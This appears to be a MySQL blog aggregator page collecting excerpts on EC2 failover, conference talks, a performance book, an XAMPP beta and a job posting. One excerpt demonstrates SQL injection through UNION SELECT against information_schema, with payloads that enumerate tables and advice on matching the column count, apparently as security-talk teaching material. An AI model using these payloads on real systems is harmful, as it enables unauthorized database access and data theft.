Ideas, releases, practical guides, and perspectives from the people building with MySQL.
With 130 entries in the “MySQL” category and no MySQL-related subcategories, my blog had become impossible to search and navigate easily.
And thus I created a number of new categories for the MySQL entries within my blog. They’re listed in the left navigation bar, below the months, as well as below:
[Read more]
I've been talking to some Montrealers about using Amazon EC2. One
of the small issues with EC2 is that you have no fixed IP
addresses for your instances. This means that people are having
to use DNS, which works well 99% of the time[1].
One of the problems for me, is that I can't as easily have a
virtual interface, which is the IP address of the current master
database server - I have to have a hostname like
mysql-master.mydomain.com. Which means that if I switch masters,
I have to wait for the TTL length for old clients to stop
connecting to the previous master (In talking to Rightscale, they set
it to 45 seconds, PeterZ has blogged about with not to use 0
second TTLs here).
The possible solution - when you switch masters, the previous
master shuts …
I figure while I'm in the blogging spirit, I should announce
where you can catch me presenting early next year:
March 12-14 - PHP Quebec
* Security from the Database Perspective
* Breaking the Rules
April 14-17th - MySQL Conference
* Exploring Amazon EC2 for Scale Out Applications
May 21st-23rd php|tek
* Performance Tuning MySQL
* Designing for High Availability
I decided to do something different and submit about 10 outlines
for possible talks, so it's interesting to see what each of the
organizers eventually arrive at.
With MySQL 5.0, it's much easier to do SQL Injection attacks,
because you can use UNION against information schema. You
couldn't do this with the old SHOW commands.
i.e.
SELECT * FROM users WHERE id = $id;
becomes:
SELECT * FROM users WHERE id = 0 UNION SELECT group_concat(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() group by table_schema;
The rules to a union in MySQL is that the second query must match
the same number of columns as the first query. In this case, you
can just keep changing it till you get the column count
right:
SELECT group_concat(table_name), 1, 2, 3, 4 FROM information_schema.tables WHERE table_schema=DATABASE() group by table_schema;
I presented on these types of attacks here
mysql> create database attack;
Query OK, 1 row affected (0.00 sec)
mysql> use attack;
Database changed
mysql> create table users (id INT UNSIGNED NOT NULL PRIMARY KEY auto_increment, username varchar(30) NOT NULL,
password char(32) NOT NULL, UNIQUE KEY (username));
Query OK, 0 rows affected (0.00 sec)
mysql> INSERT into users (username, password) VALUES ('morgo', MD5('my_password')),
('ted', MD5('another_password'));
Query OK, 2 rows affected (0.41 sec)
Records: 2 Duplicates: 0 Warnings: 0
mysql> SELECT * FROM users;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | morgo | a865a7e0ddbf35fa6f6a232e0893bea4 |
| 2 | ted | 280fb9194368f9d1d44f8ddcc13f2717 |
+----+----------+----------------------------------+
2 rows in set (0.00 sec)
mysql> CREATE TEMPORARY TABLE users_copy LIKE users;
Query OK, 0 rows affected (0.04 sec)
mysql> …[Read more]
Well, if my perfectionist nature were allowed to run free, and if Peter et al's encyclopedic knowledge were somehow all transferred to paper, the second edition of High Performance MySQL would end up being the perfect encyclopedia of MySQL performance. But as it is, you're apparently going to have to settle for "very good." This quote by Sheeri Kritzer Cabral, one of our tech reviewers, really made my day:
I gotta hand it to Peter, Vadim, Arjen, and Baron. They know how to write a book!
And now I must begin a solid weekend of revisions... wish me luck!
I spent Thursday and Friday in Zurich,
Switzerland visiting my friends Marcus and Caitlin and attending the Google Open Source Jam.
On Thursday, I arrived in the early afternoon in Zurich.
Getting to Zurich from Siegburg is easy and takes less than five hours as
there is a direct ICE connection to Basel and
from there it is just one more stop with an …
Two of XAMPP's four main components were updated within the last few days and now we're ready with the first beta version of the next XAMPP release.
New in this beta are: PHP5 (5.2.5), MySQL (5.0.51), phpMyAdmin (2.11.3), and some Windows-specific packages in the Windows version of XAMPP.
XAMPP beta versions are always for testing purposes only. There will be no upgrade packages from and to beta versions. To all testers: Many thanks in advance!!
Get the downloads at XAMPP BETA.
Well, if my perfectionist nature were allowed to run free, and if Peter et al’s encyclopedic knowledge were somehow all transferred to paper, the second edition of High Performance MySQL would end up being the perfect encyclopedia of MySQL performance. But as it is, you’re apparently going to have to settle for “very good.” This quote by Sheeri Kritzer Cabral, one of our tech reviewers, really made my day: I gotta hand it to Peter, Vadim, Arjen, and Baron.
Hello everyone, We have several MySQL DBA openings, one in each of our offices in Ottawa, Boston, or Hyderabad, India. (Our Sydney office is doin’ fine.) Working at Pythian is different than working in-house or as a consultant, because you’ll be making your contributions available to each of the customers assigned to your team, allowing you to [...]